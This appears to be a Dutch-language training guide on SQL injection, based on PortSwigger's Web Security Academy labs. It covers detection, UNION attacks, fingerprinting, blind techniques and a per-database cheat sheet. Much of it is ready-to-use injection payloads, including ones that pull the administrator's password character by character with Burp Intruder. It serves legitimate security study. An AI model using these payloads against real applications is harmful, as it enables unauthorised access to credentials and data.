Skip to content

SQL Injection

Bron: PortSwigger Web Security Academy
Auteur: Johan Beysen | Fox & Fish Cybersecurity


1. Wat is SQL Injection?

SQL Injection (SQLi) is een web security vulnerability waarmee een aanvaller de SQL queries kan manipuleren die een applicatie naar de database stuurt. In plaats van gewone invoer te sturen, injecteer je SQL code — waardoor je de achterliggende query zelf aanpast.

Dit kan leiden tot:

  • Inkijken van data die normaal niet zichtbaar mag zijn
  • Aanpassen of verwijderen van data in de database
  • Escalatie naar de onderliggende server of andere backend-infrastructuur
  • Denial-of-service aanvallen

Waar zit SQLi het vaakst?

SQLi-kwetsbaarheden zitten het vaakst in de WHERE-clausule van een SELECT-query — maar ze kunnen op elk deel van een query voorkomen: UPDATE, INSERT, ORDER BY, tabelnamen, kolomnamen...


2. SQLi Detecteren

Manuele detectie doe je via een systematische reeks tests op elk entry point:

Test Wat je zoekt
Enkelvoudig aanhalingsteken ' Errors of anomalieën
SQL-specifieke syntax Basiswaarde vs. afwijkende waarde
Boolean conditions OR 1=1 / OR 1=2 Verschil in response
Time delay payloads Verschil in responstijd
OAST-payloads Out-of-band netwerkinteractie

Burp Scanner

Als alternatief kan je de grote meerderheid van SQLi's snel en betrouwbaar opsporen met Burp Scanner.


3. Hidden Data Ophalen

Stel je een webshop voor die producten per categorie toont. Wanneer de gebruiker op 'Gifts' klikt:

https://insecure-website.com/products?category=Gifts

De achterliggende SQL query:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

De restrictie released = 1 verbergt niet-uitgebrachte producten.

3.1 Comment Injection

Door -- (SQL comment-indicator) toe te voegen, wordt de rest van de query genegeerd:

https://insecure-website.com/products?category=Gifts'--

Resulteert in:

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
--                                                   ^^^^^^^^^^^^^^^^ genegeerd

Gevolg: alle producten worden getoond, inclusief niet-uitgebrachte.

3.2 OR 1=1 Injection

https://insecure-website.com/products?category=Gifts'+OR+1=1--

Resulteert in:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

Omdat 1=1 altijd waar is, geeft de query simpelweg alles terug.

Gevaar van OR 1=1

Wees voorzichtig met OR 1=1. Applicaties gebruiken data uit één request vaak in meerdere queries. Als jouw conditie in een UPDATE of DELETE terechtkomt, kan je per ongeluk data vernietigen.


4. SQL Injection UNION Attacks

Met UNION kan je de resultaten van een extra SELECT-query vastplakken aan de originele query. Hiermee kan je data uit andere tabellen ophalen.

SELECT naam, prijs FROM producten
UNION
SELECT gebruiker, wachtwoord FROM users

Twee vereisten voor een werkende UNION

  1. Beide queries moeten hetzelfde aantal kolommen teruggeven
  2. De datatypes per kolom moeten compatibel zijn

4.1 Aantal Kolommen Bepalen

Verhoog tot je een error krijgt:

Gifts' ORDER BY 1--   → werkt
Gifts' ORDER BY 2--   → werkt
Gifts' ORDER BY 3--   → werkt
Gifts' ORDER BY 4--   → ERROR → dus 3 kolommen

Voeg NULLs toe tot geen error:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--   → werkt → dus 3 kolommen

Waarom NULL?

NULL is datatype-neutraal — het matcht altijd, ongeacht het kolomtype. Vandaar NULL en niet 1 of 'a'.

4.2 Bruikbare String-Kolommen Vinden

Eens je het aantal kolommen kent, zoek je uit welke kolommen strings accepteren:

' UNION SELECT 'a',NULL,NULL--   → error? kolom 1 is geen string
' UNION SELECT NULL,'a',NULL--   → werkt? kolom 2 is bruikbaar
' UNION SELECT NULL,NULL,'a'--   → ...

4.3 Kolom-Padding met NULL

Als de doeltabel meer kolommen heeft dan jouw injection-tabel, vul je de overschot op met NULL:

' UNION SELECT username, password, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
FROM users--

sqlmap

sqlmap doet dit automatisch. Manueel uitvoeren is nuttig om te begrijpen wat er gebeurt, maar in een echte engagement laat je sqlmap het vuile werk doen.

4.4 URL-Encoding

In een URL is een spatie niet geldig. + is de shorthand URL-encoding van een spatie:

' UNION SELECT NULL,NULL--              (leesbare versie)
'%20UNION%20SELECT%20NULL,NULL--        (formele URL-encoding)
'+UNION+SELECT+NULL,NULL--              (shorthand met +)

Burp Repeater

In Burp Repeater type je gewoon spaties — Burp regelt de encoding automatisch.

4.5 Meerdere Waarden in Één Kolom (CONCAT)

Als je slechts één bruikbare kolom hebt, kan je meerdere velden samenvoegen:

' UNION SELECT username || '~' || password FROM users--
' UNION SELECT CONCAT(username,'~',password) FROM users--

Resultaat:

administrator~s3cure
wiener~peter
carlos~montoya

Concatenatiesyntax

Elke database heeft andere concatenatiesyntax. Raadpleeg de SQL Injection Cheat Sheet (sectie 7) voor het juiste formaat per database.

4.6 Database-Structuur Opvragen

-- Tabellen oplijsten
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

-- Kolommen van een specifieke tabel
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns
+WHERE+table_name='users_abcdef'--
-- Tabellen oplijsten
'+UNION+SELECT+table_name,+NULL+FROM+all_tables--

-- Kolommen van een specifieke tabel
'+UNION+SELECT+column_name,+NULL+FROM+all_tab_columns
+WHERE+table_name='USERS'--

Oracle uitzondering

Oracle gebruikt ALL_TABLES en ALL_COLUMNS in plaats van information_schema — die uitzondering kom je gegarandeerd tegen in de PortSwigger labs.


5. Database Fingerprinting

Altijd als eerste stap uitvoeren

Voer fingerprinting altijd uit vóór je begint met exploitation. Elke database heeft andere syntax — verkeerde aannames kosten veel tijd.

Database Version Query
Oracle SELECT banner FROM v$version
Oracle SELECT version FROM v$instance
Microsoft SQL SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

Snelste Oracle-check: als SELECT '' FROM dual werkt zonder error → Oracle database.


6. Blind SQL Injection

Soms geeft de HTTP-response de queryresultaten niet weer — ook geen foutmeldingen. UNION-attacks zijn dan zinloos. In dat geval gebruik je Blind SQLi.

6.1 Conditionele Responses (Welcome Back)

Als de applicatie een zichtbaar verschil toont op basis van true/false:

-- Conditie WAAR → "Welcome back" zichtbaar
xyz' AND '1'='1

-- Conditie ONWAAR → geen "Welcome back"
xyz' AND '1'='2

Wachtwoord karakter per karakter ophalen via binary search:

-- Eerste karakter > 'm' ?
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

-- Eerste karakter > 't' ?
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

-- Eerste karakter = 's' ?
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

SUBSTRING syntax

SUBSTRING(string, start, lengte)SUBSTRING(..., 1, 1) = begin op positie 1, neem 1 karakter.

6.2 Lengte Bepalen

xyz' AND LENGTH((SELECT Password FROM Users WHERE Username = 'Administrator')) = 20--

Verhoog stap per stap totdat de conditie faalt — dan ken je de exacte lengte.

6.3 Automatiseren via Burp Intruder

TrackingId=xyz' AND SUBSTRING((SELECT password FROM users
WHERE username='administrator'),§1§,1)='§a§

Instellingen:

Setting Waarde
Attack type Cluster Bomb
Payload 1 1, 2, 3 ... (positie in string)
Payload 2 a-z + 0-9 (charset)
Grep - Match Welcome back

Burp Pro vs Community

HTTP 500 = match | HTTP 200 = geen match. Burp Community is throttled — Burp Pro draait dit aan volle snelheid.

6.4 Conditionele Errors (geen zichtbare response)

Als de applicatie geen zichtbaar verschil toont, trigger je opzettelijk een database-error als signaal:

CASE WHEN (conditie) THEN 1/0 ELSE 'a' END
-- Conditie WAAR  → 1/0 → divide-by-zero ERROR → HTTP 500
-- Conditie ONWAAR → 'a' → geen error          → HTTP 200

Toegepast op een wachtwoord:

xyz' AND (SELECT CASE WHEN (Username='Administrator'
AND SUBSTRING(Password,1,1) > 'm')
THEN 1/0 ELSE 'a' END)='a

6.5 Oracle-Specifieke Syntax

Oracle gebruikt andere syntax — dit bleek cruciaal in de labs:

-- Concatenatie ipv AND
vFrjyzDJZ53fW41J'||(SELECT CASE WHEN SUBSTR(password,1,1)='a'
THEN TO_CHAR(1/0) ELSE '' END FROM users
WHERE username='administrator')||'
Eigenschap MySQL/MSSQL Oracle
Injectie via AND Concatenatie \|\|
Divide-by-zero 1/0 TO_CHAR(1/0)
Substring SUBSTRING() SUBSTR()
Dummy tabel niet nodig FROM dual

6.6 Oracle Stap-voor-Stap Aanpak

Stap 1 — Database type bepalen
TrackingId=xyz'                              -- error?
TrackingId=xyz''                             -- error verdwijnt?
TrackingId=xyz'||(SELECT '')||'              -- nog error?
TrackingId=xyz'||(SELECT '' FROM dual)||'    -- geen error → Oracle!
Stap 2 — Tabel en gebruiker verifiëren
TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ''
END FROM users WHERE username='administrator')||'
Stap 3 — Wachtwoordlengte bepalen
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1
THEN TO_CHAR(1/0) ELSE '' END FROM users
WHERE username='administrator')||'
Stap 4 — Karakter per karakter via Intruder
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§'
THEN TO_CHAR(1/0) ELSE '' END FROM users
WHERE username='administrator')||'

Reminder

HTTP 500 = match, HTTP 200 = geen match. Herhaal voor elke positie 1 t.e.m. 20.


7. SQL Injection Cheat Sheet

Bron: portswigger.net/web-security/sql-injection/cheat-sheet

String Concatenatie

Database Syntax
Oracle 'foo'\|\|'bar'
Microsoft 'foo'+'bar'
PostgreSQL 'foo'\|\|'bar'
MySQL 'foo' 'bar' of CONCAT('foo','bar')

Substring

Database Syntax
Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)

Comments

Database Syntax
Oracle --comment
Microsoft --comment of /*comment*/
PostgreSQL --comment of /*comment*/
MySQL #comment of -- comment of /*comment*/

Database Version

Database Query
Oracle SELECT banner FROM v$version
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

Database Contents

Database Query
Oracle SELECT * FROM all_tables
Oracle SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME'
Microsoft SELECT * FROM information_schema.tables
Microsoft SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME'
PostgreSQL SELECT * FROM information_schema.tables
PostgreSQL SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME'
MySQL SELECT * FROM information_schema.tables
MySQL SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME'

Conditionele Errors

Database Syntax
Oracle SELECT CASE WHEN (CONDITIE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft SELECT CASE WHEN (CONDITIE) THEN 1/0 ELSE NULL END
PostgreSQL 1 = (SELECT CASE WHEN (CONDITIE) THEN 1/(SELECT 0) ELSE NULL END)
MySQL SELECT IF(CONDITIE,(SELECT table_name FROM information_schema.tables),'a')

Time Delays

Database Syntax (10 sec)
Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)

Conditionele Time Delays

Database Syntax
Oracle SELECT CASE WHEN (CONDITIE) THEN 'a'\|\|dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft IF (CONDITIE) WAITFOR DELAY '0:0:10'
PostgreSQL SELECT CASE WHEN (CONDITIE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL SELECT IF(CONDITIE,SLEEP(10),'a')

Batched Queries

Database Support
Oracle Niet ondersteund
Microsoft QUERY-1; QUERY-2
PostgreSQL QUERY-1; QUERY-2
MySQL QUERY-1; QUERY-2 (beperkte support)

Fox & Fish Cybersecurity | Intern gebruik